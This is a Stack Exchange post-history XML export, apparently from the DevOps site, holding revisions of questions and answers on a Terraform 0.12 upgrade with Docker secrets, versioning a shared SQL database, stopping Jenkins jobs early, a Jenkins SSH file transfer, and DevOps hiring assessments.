  <row Id="35239" PostHistoryTypeId="5" PostId="11491" RevisionGUID="4025ecee-2134-4e81-8280-1a11e47fb06f" CreationDate="2020-05-05T02:59:48.490" UserId="21648" Comment="added 2036 characters in body" Text="I have just upgraded from terraform v0.11 to v0.12&#xD;&#xA;But i am facing lot of error&#xD;&#xA;&#xD;&#xA;especially in the block&#xD;&#xA;&#xD;&#xA;     secrets = [&#xD;&#xA;&#xD;&#xA;        {&#xD;&#xA;          secret_id = &quot;docker_secret.mysql_db_password.id&quot;&#xD;&#xA;          secret_name = &quot;docker_secret.mysql_db_password.name&quot;&#xD;&#xA;          file_name = &quot;/run/secrets/docker_secret.mysql_db_password.name&quot;&#xD;&#xA;        },&#xD;&#xA;&#xD;&#xA;        {secret_id = &quot;docker_secret.mysql_root_password.id&quot;&#xD;&#xA;          secret_name = &quot;docker_secret.mysql_root_password.name&quot;&#xD;&#xA;          file_name = &quot;/run/secrets/docker_secret.mysql_root_password.name&quot;&#xD;&#xA;        }&#xD;&#xA;      ]&#xD;&#xA;&#xD;&#xA;v0.11 code which had no issue&#xD;&#xA;&#xD;&#xA; &#xD;&#xA;&#xD;&#xA;       resource &quot;docker_service&quot; &quot;mysql-service&quot; {&#xD;&#xA;      name = &quot;mysql_db&quot;&#xD;&#xA;    &#xD;&#xA;      task_spec {&#xD;&#xA;        container_spec {&#xD;&#xA;          image = &quot;${docker_image.mysql_image.name}&quot;&#xD;&#xA;    &#xD;&#xA;          secrets = [&#xD;&#xA;            {&#xD;&#xA;              secret_id   = &quot;${docker_secret.mysql_root_password.id}&quot;&#xD;&#xA;              secret_name = &quot;${docker_secret.mysql_root_password.name}&quot;&#xD;&#xA;              file_name   = &quot;/run/secrets/${docker_secret.mysql_root_password.name}&quot;&#xD;&#xA;            },&#xD;&#xA;            {&#xD;&#xA;              secret_id   = &quot;${docker_secret.mysql_db_password.id}&quot;&#xD;&#xA;              secret_name = &quot;${docker_secret.mysql_db_password.name}&quot;&#xD;&#xA;              file_name   = &quot;/run/secrets/${docker_secret.mysql_db_password.name}&quot;&#xD;&#xA;            }&#xD;&#xA;          ]&#xD;&#xA;    &#xD;&#xA;          env {&#xD;&#xA;            MYSQL_ROOT_PASSWORD_FILE = &quot;/run/secrets/${docker_secret.mysql_root_password.name}&quot;&#xD;&#xA;            MYSQL_DATABASE           = &quot;mydb&quot;&#xD;&#xA;            MYSQL_PASSWORD_FILE      = &quot;/run/secrets/${docker_secret.mysql_db_password.name}&quot;&#xD;&#xA;          }&#xD;&#xA;    &#xD;&#xA;          mounts = [&#xD;&#xA;            {&#xD;&#xA;              target = &quot;/var/lib/mysql&quot;&#xD;&#xA;              source = &quot;${docker_volume.mysql_data_volume.name}&quot;&#xD;&#xA;              type   = &quot;volume&quot;&#xD;&#xA;            }&#xD;&#xA;          ]&#xD;&#xA;        }&#xD;&#xA;        networks = [&#xD;&#xA;          &quot;${docker_network.private_overlay_network.name}&quot;&#xD;&#xA;        ]&#xD;&#xA;      }&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;v0.12 code &#xD;&#xA;&#xD;&#xA;    resource &quot;docker_service&quot; &quot;mysql-service&quot; {&#xD;&#xA;      name = &quot;mysql_db&quot;&#xD;&#xA;    &#xD;&#xA;      task_spec {&#xD;&#xA;        container_spec {&#xD;&#xA;          image = &quot;docker_image.mysql_image.name&quot;&#xD;&#xA;    &#xD;&#xA;          secrets = [&#xD;&#xA;    &#xD;&#xA;            {&#xD;&#xA;              secret_id = &quot;docker_secret.mysql_db_password.id&quot;&#xD;&#xA;              secret_name = &quot;docker_secret.mysql_db_password.name&quot;&#xD;&#xA;              file_name = &quot;/run/secrets/docker_secret.mysql_db_password.name&quot;&#xD;&#xA;            },&#xD;&#xA;    &#xD;&#xA;            {secret_id = &quot;docker_secret.mysql_root_password.id&quot;&#xD;&#xA;              secret_name = &quot;docker_secret.mysql_root_password.name&quot;&#xD;&#xA;              file_name = &quot;/run/secrets/docker_secret.mysql_root_password.name&quot;&#xD;&#xA;            }&#xD;&#xA;          ]&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;          env = {&#xD;&#xA;            MYSQL_ROOT_PASSWORD_FILE = &quot;/run/secrets/docker_secret.mysql_root_password.name&quot;&#xD;&#xA;            MYSQL_DATABASE           = &quot;mydb&quot;&#xD;&#xA;            MYSQL_PASSWORD_FILE      = &quot;/run/secrets/docker_secret.mysql_db_password.name&quot;&#xD;&#xA;          }&#xD;&#xA;    &#xD;&#xA;          mounts = {&#xD;&#xA;              target = &quot;/var/lib/mysql&quot;&#xD;&#xA;              source = &quot;docker_volume.mysql_data_volume.name&quot;&#xD;&#xA;              type   = &quot;volume&quot;&#xD;&#xA;            }&#xD;&#xA;    &#xD;&#xA;        }&#xD;&#xA;    &#xD;&#xA;        networks = &quot;docker_network.private_overlay_network.name&quot;&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;      }&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;Error&#xD;&#xA;&#xD;&#xA;    [cloud_user@siwgftd9213c secrets]$ terraform validate&#xD;&#xA;    &#xD;&#xA;    Error: Unsupported argument&#xD;&#xA;    &#xD;&#xA;      on main.tf line 8, in resource &quot;docker_service&quot; &quot;mysql-service&quot;:&#xD;&#xA;       8:       secrets = {&#xD;&#xA;    &#xD;&#xA;    An argument named &quot;secrets&quot; is not expected here. Did you mean to define a&#xD;&#xA;    block of type &quot;secrets&quot;?&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    Error: Unsupported argument&#xD;&#xA;    &#xD;&#xA;      on main.tf line 26, in resource &quot;docker_service&quot; &quot;mysql-service&quot;:&#xD;&#xA;      26:       mounts = {&#xD;&#xA;    &#xD;&#xA;    An argument named &quot;mounts&quot; is not expected here. Did you mean to define a&#xD;&#xA;    block of type &quot;mounts&quot;?&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    Error: Incorrect attribute value type&#xD;&#xA;    &#xD;&#xA;      on main.tf line 34, in resource &quot;docker_service&quot; &quot;mysql-service&quot;:&#xD;&#xA;      34:     networks = &quot;docker_network.private_overlay_network.name&quot;&#xD;&#xA;    &#xD;&#xA;    Inappropriate value for attribute &quot;networks&quot;: set of string required.&#xD;&#xA;    &#xD;&#xA;I have already have a seperate file for them&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Secrets.tf&#xD;&#xA;&#xD;&#xA;    &#xD;&#xA;&#xD;&#xA;    resource &quot;docker_secret&quot; &quot;mysql_root_password&quot; {&#xD;&#xA;      name = &quot;root_password&quot;&#xD;&#xA;      data = &quot;var.mysql_root_password&quot;&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    resource &quot;docker_secret&quot; &quot;mysql_db_password&quot; {&#xD;&#xA;      name = &quot;db_password&quot;&#xD;&#xA;      data = &quot;var.mysql_db_password&quot;&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;        &#xD;&#xA;&#xD;&#xA;And variables tf file&#xD;&#xA;&#xD;&#xA;    variable &quot;mysql_root_password&quot; {&#xD;&#xA;      default     = &quot;cDRzU1dvUmQwIQo=&quot;&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    variable &quot;mysql_db_password&quot; {&#xD;&#xA;      default     = &quot;cDRzU1dvUmQwIQo=&quot;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;**************************************************************&#xD;&#xA;&#xD;&#xA;**After tfvars.tf creation** &#xD;&#xA;&#xD;&#xA; - Able to compile code&#xD;&#xA; - But unable to apply the plan&#xD;&#xA;&#xD;&#xA;    &#xD;&#xA;&#xD;&#xA;&gt; Error: Error response from daemon: rpc error: code = InvalidArgument&#xD;&#xA;&gt; desc = malformed secret reference&#xD;&#xA;&gt; &#xD;&#xA;&gt;   on main.tf line 1, in resource &quot;docker_service&quot; &quot;mysql-service&quot;:   &#xD;&#xA;&gt; 1: resource &quot;docker_service&quot; &quot;mysql-service&quot; {&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**main.tf**&#xD;&#xA;&#xD;&#xA;        resource &quot;docker_service&quot; &quot;mysql-service&quot; {&#xD;&#xA;      name = &quot;mysql_db&quot;&#xD;&#xA;    &#xD;&#xA;      task_spec {&#xD;&#xA;        container_spec {&#xD;&#xA;          image = docker_image.mysql_image.name&#xD;&#xA;    &#xD;&#xA;          secrets {&#xD;&#xA;            file_name = &quot;${local.secrets[0].file_name}&quot;&#xD;&#xA;            secret_id = &quot;${local.secrets[0].secret_id}&quot;&#xD;&#xA;          }&#xD;&#xA;    &#xD;&#xA;          secrets {&#xD;&#xA;            file_name = &quot;${local.secrets[1].file_name}&quot;&#xD;&#xA;            secret_id = &quot;${local.secrets[1].secret_id}&quot;&#xD;&#xA;          }&#xD;&#xA;    &#xD;&#xA;          env = {&#xD;&#xA;            MYSQL_ROOT_PASSWORD_FILE = &quot;/run/secrets/${docker_secret.mysql_root_password.name}&quot;&#xD;&#xA;            MYSQL_DATABASE           = &quot;mydb&quot;&#xD;&#xA;            MYSQL_PASSWORD_FILE      = &quot;/run/secrets/${docker_secret.mysql_db_password.name}&quot;&#xD;&#xA;          }&#xD;&#xA;    &#xD;&#xA;          mounts {&#xD;&#xA;              target = &quot;/var/lib/mysql&quot;&#xD;&#xA;              source = &quot;docker_volume.mysql_data_volume.name&quot;&#xD;&#xA;              type   = &quot;volume&quot;&#xD;&#xA;            }&#xD;&#xA;        }&#xD;&#xA;    &#xD;&#xA;        networks = [docker_network.private_overlay_network.name]&#xD;&#xA;      }&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**tfvars.tf**&#xD;&#xA;&#xD;&#xA;        locals {&#xD;&#xA;     secrets = [&#xD;&#xA;            {   secret_id   = docker_secret.mysql_root_password.id&#xD;&#xA;                secret_name = docker_secret.mysql_root_password.name&#xD;&#xA;                file_name   = &quot;/run/secrets/${docker_secret.mysql_root_password.name}&quot;&#xD;&#xA;            },&#xD;&#xA;            {&#xD;&#xA;                secret_id   =    docker_secret.mysql_db_password.id&#xD;&#xA;                secret_name =    docker_secret.mysql_db_password.name&#xD;&#xA;                file_name   = &quot;/run/secrets/${docker_secret.mysql_db_password.name}&quot;&#xD;&#xA;           }&#xD;&#xA;        ]&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="35240" PostHistoryTypeId="5" PostId="11491" RevisionGUID="4ce17eb5-91dc-40bc-93dc-9a3f8ec53bca" CreationDate="2020-05-05T03:26:50.217" UserId="21648" Comment="added 83 characters in body" Text="I have just upgraded from terraform v0.11 to v0.12&#xD;&#xA;But i am facing lot of error&#xD;&#xA;&#xD;&#xA;complete code @ https://github.com/sivatest82/Terraform1/tree/master/secretsv12&#xD;&#xA;&#xD;&#xA;especially in the block&#xD;&#xA;&#xD;&#xA;     secrets = [&#xD;&#xA;&#xD;&#xA;        {&#xD;&#xA;          secret_id = &quot;docker_secret.mysql_db_password.id&quot;&#xD;&#xA;          secret_name = &quot;docker_secret.mysql_db_password.name&quot;&#xD;&#xA;          file_name = &quot;/run/secrets/docker_secret.mysql_db_password.name&quot;&#xD;&#xA;        },&#xD;&#xA;&#xD;&#xA;        {secret_id = &quot;docker_secret.mysql_root_password.id&quot;&#xD;&#xA;          secret_name = &quot;docker_secret.mysql_root_password.name&quot;&#xD;&#xA;          file_name = &quot;/run/secrets/docker_secret.mysql_root_password.name&quot;&#xD;&#xA;        }&#xD;&#xA;      ]&#xD;&#xA;&#xD;&#xA;v0.11 code which had no issue&#xD;&#xA;&#xD;&#xA; &#xD;&#xA;&#xD;&#xA;       resource &quot;docker_service&quot; &quot;mysql-service&quot; {&#xD;&#xA;      name = &quot;mysql_db&quot;&#xD;&#xA;    &#xD;&#xA;      task_spec {&#xD;&#xA;        container_spec {&#xD;&#xA;          image = &quot;${docker_image.mysql_image.name}&quot;&#xD;&#xA;    &#xD;&#xA;          secrets = [&#xD;&#xA;            {&#xD;&#xA;              secret_id   = &quot;${docker_secret.mysql_root_password.id}&quot;&#xD;&#xA;              secret_name = &quot;${docker_secret.mysql_root_password.name}&quot;&#xD;&#xA;              file_name   = &quot;/run/secrets/${docker_secret.mysql_root_password.name}&quot;&#xD;&#xA;            },&#xD;&#xA;            {&#xD;&#xA;              secret_id   = &quot;${docker_secret.mysql_db_password.id}&quot;&#xD;&#xA;              secret_name = &quot;${docker_secret.mysql_db_password.name}&quot;&#xD;&#xA;              file_name   = &quot;/run/secrets/${docker_secret.mysql_db_password.name}&quot;&#xD;&#xA;            }&#xD;&#xA;          ]&#xD;&#xA;    &#xD;&#xA;          env {&#xD;&#xA;            MYSQL_ROOT_PASSWORD_FILE = &quot;/run/secrets/${docker_secret.mysql_root_password.name}&quot;&#xD;&#xA;            MYSQL_DATABASE           = &quot;mydb&quot;&#xD;&#xA;            MYSQL_PASSWORD_FILE      = &quot;/run/secrets/${docker_secret.mysql_db_password.name}&quot;&#xD;&#xA;          }&#xD;&#xA;    &#xD;&#xA;          mounts = [&#xD;&#xA;            {&#xD;&#xA;              target = &quot;/var/lib/mysql&quot;&#xD;&#xA;              source = &quot;${docker_volume.mysql_data_volume.name}&quot;&#xD;&#xA;              type   = &quot;volume&quot;&#xD;&#xA;            }&#xD;&#xA;          ]&#xD;&#xA;        }&#xD;&#xA;        networks = [&#xD;&#xA;          &quot;${docker_network.private_overlay_network.name}&quot;&#xD;&#xA;        ]&#xD;&#xA;      }&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;v0.12 code &#xD;&#xA;&#xD;&#xA;    resource &quot;docker_service&quot; &quot;mysql-service&quot; {&#xD;&#xA;      name = &quot;mysql_db&quot;&#xD;&#xA;    &#xD;&#xA;      task_spec {&#xD;&#xA;        container_spec {&#xD;&#xA;          image = &quot;docker_image.mysql_image.name&quot;&#xD;&#xA;    &#xD;&#xA;          secrets = [&#xD;&#xA;    &#xD;&#xA;            {&#xD;&#xA;              secret_id = &quot;docker_secret.mysql_db_password.id&quot;&#xD;&#xA;              secret_name = &quot;docker_secret.mysql_db_password.name&quot;&#xD;&#xA;              file_name = &quot;/run/secrets/docker_secret.mysql_db_password.name&quot;&#xD;&#xA;            },&#xD;&#xA;    &#xD;&#xA;            {secret_id = &quot;docker_secret.mysql_root_password.id&quot;&#xD;&#xA;              secret_name = &quot;docker_secret.mysql_root_password.name&quot;&#xD;&#xA;              file_name = &quot;/run/secrets/docker_secret.mysql_root_password.name&quot;&#xD;&#xA;            }&#xD;&#xA;          ]&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;          env = {&#xD;&#xA;            MYSQL_ROOT_PASSWORD_FILE = &quot;/run/secrets/docker_secret.mysql_root_password.name&quot;&#xD;&#xA;            MYSQL_DATABASE           = &quot;mydb&quot;&#xD;&#xA;            MYSQL_PASSWORD_FILE      = &quot;/run/secrets/docker_secret.mysql_db_password.name&quot;&#xD;&#xA;          }&#xD;&#xA;    &#xD;&#xA;          mounts = {&#xD;&#xA;              target = &quot;/var/lib/mysql&quot;&#xD;&#xA;              source = &quot;docker_volume.mysql_data_volume.name&quot;&#xD;&#xA;              type   = &quot;volume&quot;&#xD;&#xA;            }&#xD;&#xA;    &#xD;&#xA;        }&#xD;&#xA;    &#xD;&#xA;        networks = &quot;docker_network.private_overlay_network.name&quot;&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;      }&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;Error&#xD;&#xA;&#xD;&#xA;    [cloud_user@siwgftd9213c secrets]$ terraform validate&#xD;&#xA;    &#xD;&#xA;    Error: Unsupported argument&#xD;&#xA;    &#xD;&#xA;      on main.tf line 8, in resource &quot;docker_service&quot; &quot;mysql-service&quot;:&#xD;&#xA;       8:       secrets = {&#xD;&#xA;    &#xD;&#xA;    An argument named &quot;secrets&quot; is not expected here. Did you mean to define a&#xD;&#xA;    block of type &quot;secrets&quot;?&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    Error: Unsupported argument&#xD;&#xA;    &#xD;&#xA;      on main.tf line 26, in resource &quot;docker_service&quot; &quot;mysql-service&quot;:&#xD;&#xA;      26:       mounts = {&#xD;&#xA;    &#xD;&#xA;    An argument named &quot;mounts&quot; is not expected here. Did you mean to define a&#xD;&#xA;    block of type &quot;mounts&quot;?&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    Error: Incorrect attribute value type&#xD;&#xA;    &#xD;&#xA;      on main.tf line 34, in resource &quot;docker_service&quot; &quot;mysql-service&quot;:&#xD;&#xA;      34:     networks = &quot;docker_network.private_overlay_network.name&quot;&#xD;&#xA;    &#xD;&#xA;    Inappropriate value for attribute &quot;networks&quot;: set of string required.&#xD;&#xA;    &#xD;&#xA;I have already have a seperate file for them&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Secrets.tf&#xD;&#xA;&#xD;&#xA;    &#xD;&#xA;&#xD;&#xA;    resource &quot;docker_secret&quot; &quot;mysql_root_password&quot; {&#xD;&#xA;      name = &quot;root_password&quot;&#xD;&#xA;      data = &quot;var.mysql_root_password&quot;&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    resource &quot;docker_secret&quot; &quot;mysql_db_password&quot; {&#xD;&#xA;      name = &quot;db_password&quot;&#xD;&#xA;      data = &quot;var.mysql_db_password&quot;&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;        &#xD;&#xA;&#xD;&#xA;And variables tf file&#xD;&#xA;&#xD;&#xA;    variable &quot;mysql_root_password&quot; {&#xD;&#xA;      default     = &quot;cDRzU1dvUmQwIQo=&quot;&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    variable &quot;mysql_db_password&quot; {&#xD;&#xA;      default     = &quot;cDRzU1dvUmQwIQo=&quot;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;**************************************************************&#xD;&#xA;&#xD;&#xA;**After tfvars.tf creation** &#xD;&#xA;&#xD;&#xA; - Able to compile code&#xD;&#xA; - But unable to apply the plan&#xD;&#xA;&#xD;&#xA;    &#xD;&#xA;&#xD;&#xA;&gt; Error: Error response from daemon: rpc error: code = InvalidArgument&#xD;&#xA;&gt; desc = malformed secret reference&#xD;&#xA;&gt; &#xD;&#xA;&gt;   on main.tf line 1, in resource &quot;docker_service&quot; &quot;mysql-service&quot;:   &#xD;&#xA;&gt; 1: resource &quot;docker_service&quot; &quot;mysql-service&quot; {&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**main.tf**&#xD;&#xA;&#xD;&#xA;        resource &quot;docker_service&quot; &quot;mysql-service&quot; {&#xD;&#xA;      name = &quot;mysql_db&quot;&#xD;&#xA;    &#xD;&#xA;      task_spec {&#xD;&#xA;        container_spec {&#xD;&#xA;          image = docker_image.mysql_image.name&#xD;&#xA;    &#xD;&#xA;          secrets {&#xD;&#xA;            file_name = &quot;${local.secrets[0].file_name}&quot;&#xD;&#xA;            secret_id = &quot;${local.secrets[0].secret_id}&quot;&#xD;&#xA;          }&#xD;&#xA;    &#xD;&#xA;          secrets {&#xD;&#xA;            file_name = &quot;${local.secrets[1].file_name}&quot;&#xD;&#xA;            secret_id = &quot;${local.secrets[1].secret_id}&quot;&#xD;&#xA;          }&#xD;&#xA;    &#xD;&#xA;          env = {&#xD;&#xA;            MYSQL_ROOT_PASSWORD_FILE = &quot;/run/secrets/${docker_secret.mysql_root_password.name}&quot;&#xD;&#xA;            MYSQL_DATABASE           = &quot;mydb&quot;&#xD;&#xA;            MYSQL_PASSWORD_FILE      = &quot;/run/secrets/${docker_secret.mysql_db_password.name}&quot;&#xD;&#xA;          }&#xD;&#xA;    &#xD;&#xA;          mounts {&#xD;&#xA;              target = &quot;/var/lib/mysql&quot;&#xD;&#xA;              source = &quot;docker_volume.mysql_data_volume.name&quot;&#xD;&#xA;              type   = &quot;volume&quot;&#xD;&#xA;            }&#xD;&#xA;        }&#xD;&#xA;    &#xD;&#xA;        networks = [docker_network.private_overlay_network.name]&#xD;&#xA;      }&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**tfvars.tf**&#xD;&#xA;&#xD;&#xA;        locals {&#xD;&#xA;     secrets = [&#xD;&#xA;            {   secret_id   = docker_secret.mysql_root_password.id&#xD;&#xA;                secret_name = docker_secret.mysql_root_password.name&#xD;&#xA;                file_name   = &quot;/run/secrets/${docker_secret.mysql_root_password.name}&quot;&#xD;&#xA;            },&#xD;&#xA;            {&#xD;&#xA;                secret_id   =    docker_secret.mysql_db_password.id&#xD;&#xA;                secret_name =    docker_secret.mysql_db_password.name&#xD;&#xA;                file_name   = &quot;/run/secrets/${docker_secret.mysql_db_password.name}&quot;&#xD;&#xA;           }&#xD;&#xA;        ]&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="35241" PostHistoryTypeId="2" PostId="11521" RevisionGUID="78422662-69e5-4d9b-8c4d-d961a1a53f60" CreationDate="2020-05-05T08:50:34.453" UserId="22106" Text="We have several C# applications using a shared monolithic database (on-premise SQL server) using Stored Procedures as an exclusive interface.&#xD;&#xA;The repositories include only Stored Procedures that are relevant to them, which means a single database is split into multiple repositories.&#xD;&#xA;&#xD;&#xA;We are currently using a shared DEV environment restored from production (after some modification to sensitive data, etc.)&#xD;&#xA;&#xD;&#xA;I want to move to our version control being a single source of truth and put the whole database into one repository so I can generate empty DB for each developer (that would allow me to unit test, etc.)&#xD;&#xA;&#xD;&#xA;But that would create problems for developers: they would have to keep a branch of their app and branch of a database in sync and coordinate extensively.&#xD;&#xA;&#xD;&#xA;How to solve this without moving the apps back into monolith as well?" ContentLicense="CC BY-SA 4.0" />
  <row Id="35242" PostHistoryTypeId="1" PostId="11521" RevisionGUID="78422662-69e5-4d9b-8c4d-d961a1a53f60" CreationDate="2020-05-05T08:50:34.453" UserId="22106" Text="How to version control shared database?" ContentLicense="CC BY-SA 4.0" />
  <row Id="35243" PostHistoryTypeId="3" PostId="11521" RevisionGUID="78422662-69e5-4d9b-8c4d-d961a1a53f60" CreationDate="2020-05-05T08:50:34.453" UserId="22106" Text="&lt;databases&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="35246" PostHistoryTypeId="2" PostId="11522" RevisionGUID="08a49dd6-4b82-4baf-a3ac-3be3e15d27a3" CreationDate="2020-05-05T10:51:24.523" UserId="7385" Text="A few years ago I used a similar approach:&#xD;&#xA;&#xD;&#xA;     parameters {&#xD;&#xA;            booleanParam(&#xD;&#xA;                    name: 'ABORT_JOB', defaultValue: false,&#xD;&#xA;                    description:    'Set this to true if you need to &quot;dry-run&quot; this job without doing any real work.\n' +&#xD;&#xA;                            'The Jenkinsfile will be read and new parameters added. It will exit in the first stage.')&#xD;&#xA;&#xD;&#xA;And in the first stage that runs:&#xD;&#xA;&#xD;&#xA;    stage('Initialise') {&#xD;&#xA;                steps {&#xD;&#xA;                    script {&#xD;&#xA;                        if (params.ABORT_JOB) {&#xD;&#xA;                            currentBuild.result = 'ABORTED'&#xD;&#xA;                            error('Stopping early...')&#xD;&#xA;                        }&#xD;&#xA;&#xD;&#xA;I've since started using JobDSL to generate my jobs.  This simplifies the pipeline code and removes the need to code as above." ContentLicense="CC BY-SA 4.0" />
  <row Id="35247" PostHistoryTypeId="2" PostId="11523" RevisionGUID="61f3b585-c8b4-4a3a-8b25-6b000d9669f7" CreationDate="2020-05-05T14:24:12.177" UserId="20011" Text="I have a running a jenkins job by jenkins pipeline. i wants to send an environmental (.env) file from my local system to my server using Publish Over SSH Plugin.&#xD;&#xA;&#xD;&#xA;Here is my jenkins snippet:&#xD;&#xA;&#xD;&#xA;    stage('Pull In Development') {&#xD;&#xA;            when { branch 'development' }&#xD;&#xA;            steps {&#xD;&#xA;                script {&#xD;&#xA;                    sshPublisher(publishers: [&#xD;&#xA;                        sshPublisherDesc(configName: 'developmment-server',&#xD;&#xA;                            transfers: [&#xD;&#xA;                                sshTransfer(&#xD;&#xA;                                    cleanRemote: false,&#xD;&#xA;                                    excludes: '',&#xD;&#xA;                                    execCommand: '',&#xD;&#xA;                                    execTimeout: 120000,&#xD;&#xA;                                    flatten: false,&#xD;&#xA;                                    makeEmptyDirs: false,&#xD;&#xA;                                    noDefaultExcludes: false,&#xD;&#xA;                                    patternSeparator: '[, ]+',&#xD;&#xA;                                    remoteDirectory: '/var/www/sockets',&#xD;&#xA;                                    remoteDirectorySDF: false,&#xD;&#xA;                                    removePrefix: '',&#xD;&#xA;                                    sourceFiles: '**/*.env'&#xD;&#xA;                                )&#xD;&#xA;                            ],&#xD;&#xA;                            usePromotionTimestamp: false,&#xD;&#xA;                            useWorkspaceInPromotion: false,&#xD;&#xA;                            verbose: false&#xD;&#xA;                        )]&#xD;&#xA;                    )&#xD;&#xA;                }&#xD;&#xA;            }&#xD;&#xA;        }&#xD;&#xA;&#xD;&#xA;Then after transferring, it shows 1 file transferred.&#xD;&#xA;&#xD;&#xA;    SSH: Connecting from host [pasha-pc]&#xD;&#xA;    SSH: Connecting with configuration [stage-server-v1] ...&#xD;&#xA;    SSH: Disconnecting configuration [stage-server-v1] ...&#xD;&#xA;    SSH: Transferred 1 file(s)&#xD;&#xA;&#xD;&#xA;But when i enter the server and go to /var/www/sockets no .env file here. SO am i make any mistake on ssh code.&#xD;&#xA;&#xD;&#xA;NB: .env on git ignored file" ContentLicense="CC BY-SA 4.0" />
  <row Id="35248" PostHistoryTypeId="1" PostId="11523" RevisionGUID="61f3b585-c8b4-4a3a-8b25-6b000d9669f7" CreationDate="2020-05-05T14:24:12.177" UserId="20011" Text="Jenkins transferring file using publish over SSH plugin but file not show in remote development server" ContentLicense="CC BY-SA 4.0" />
  <row Id="35249" PostHistoryTypeId="3" PostId="11523" RevisionGUID="61f3b585-c8b4-4a3a-8b25-6b000d9669f7" CreationDate="2020-05-05T14:24:12.177" UserId="20011" Text="&lt;jenkins&gt;&lt;jenkins-pipeline&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="35250" PostHistoryTypeId="2" PostId="11524" RevisionGUID="155c8f2b-74a7-4a40-bda1-96efc12f1007" CreationDate="2020-05-05T14:45:36.647" UserId="2956" Text="Disclaimer: I'm not a RDBMS DBA and I have zero experience with MSSQL. Everything below is a hypothesis.&#xD;&#xA;&#xD;&#xA;Each app should have it's own stored procedures in migrations, and shared procedures should be in their own repo with a separate migration list. This adds a necessary isolation and the ability to use benefits of common ones with optional toggling on per-app basis if there are breaking changes, plus a separate repository is an easy way to maintain them." ContentLicense="CC BY-SA 4.0" />
  <row Id="35251" PostHistoryTypeId="5" PostId="11506" RevisionGUID="bd7a1d57-f089-4b6e-a6b3-fa72c9ed48cd" CreationDate="2020-05-05T15:13:12.040" UserId="22081" Comment="provide details 2" Text="We're a software team currently trying to hire a DevOps Engineer.&#xD;&#xA;&#xD;&#xA;We have an assessment for Software Developer candidates and we're currently evaluating the idea of having an assessment for our DevOps Engineer candidates. Since we have not hired DevOps people before and barely know a few, it would help us greatly.&#xD;&#xA;&#xD;&#xA;What would be your advice ? &#xD;&#xA;If you support there should be an assessment, then what would be the content ?&#xD;&#xA;&#xD;&#xA;### EDIT(Additional Info):&#xD;&#xA;-  We need to hire a DevOps Engineer to bootstrap our all DevOps process/culture.&#xD;&#xA;-  We have more than 100 servers. Around 20 different apps on them.&#xD;&#xA;&#xD;&#xA;- We want him/her to;&#xD;&#xA;&#xD;&#xA; -  Install a main devops tool like jenkins or teamcity &#xD;&#xA; -  Build the pipelines for all this apps and servers&#xD;&#xA; -  CIntegration, CDelivery, CDeployment depending on what app does&#xD;&#xA; -  help migrate to linux and/or docker&#xD;&#xA;&#xD;&#xA;### About assessment&#xD;&#xA;- It must be about building and deploying a few apps interacting with each other to diifferent targets with different configurations.&#xD;&#xA;&#xD;&#xA;### EDIT 2(answers):&#xD;&#xA;Thanks for answers. While reading them, I'll answer the questions to make the backstory clearer.&#xD;&#xA;&#xD;&#xA;@taleodor&#xD;&#xA;&#xD;&#xA;* Developers including me are doing provisioning/build/deployments. We're very unhappy about that.&#xD;&#xA;* Unfortunately, we can only hire one person for all our expectations. &#xD;&#xA;  * We have plenty of time to put everything together, so it should not be problem for anyone who's willing to do all the stuff.&#xD;&#xA;* Assignment will be take at home an candidates will be given a few days to complete. No problem about that. After all assessment is complementary to interview.&#xD;&#xA;* I know a few DevOps people. I may get their help for evaulating assessments.&#xD;&#xA;&#xD;&#xA;@030&#xD;&#xA;&#xD;&#xA;I agree the devs automating their stuff is much better than another person doing that. But we have a big backlog about devops. We need someone to show us the way while doing the bulk of it himself/herself. We are not considering to totally forget the process. We want exact opposite: we want to do things right but we don't know where to start and don't have time.&#xD;&#xA;&#xD;&#xA;I installed Jenkins. Set up pipelines for some of the projects. But I am a senior developer. Neither me nor my executive wants my all time spent on this." ContentLicense="CC BY-SA 4.0" />
  <row Id="35257" PostHistoryTypeId="4" PostId="11491" RevisionGUID="cc1d5260-6b9d-4b2f-8776-789c8f7be215" CreationDate="2020-05-05T16:59:43.450" UserId="21648" Comment="edited title" Text="Terraform syntax error after V0.12 upgrade" ContentLicense="CC BY-SA 4.0" />
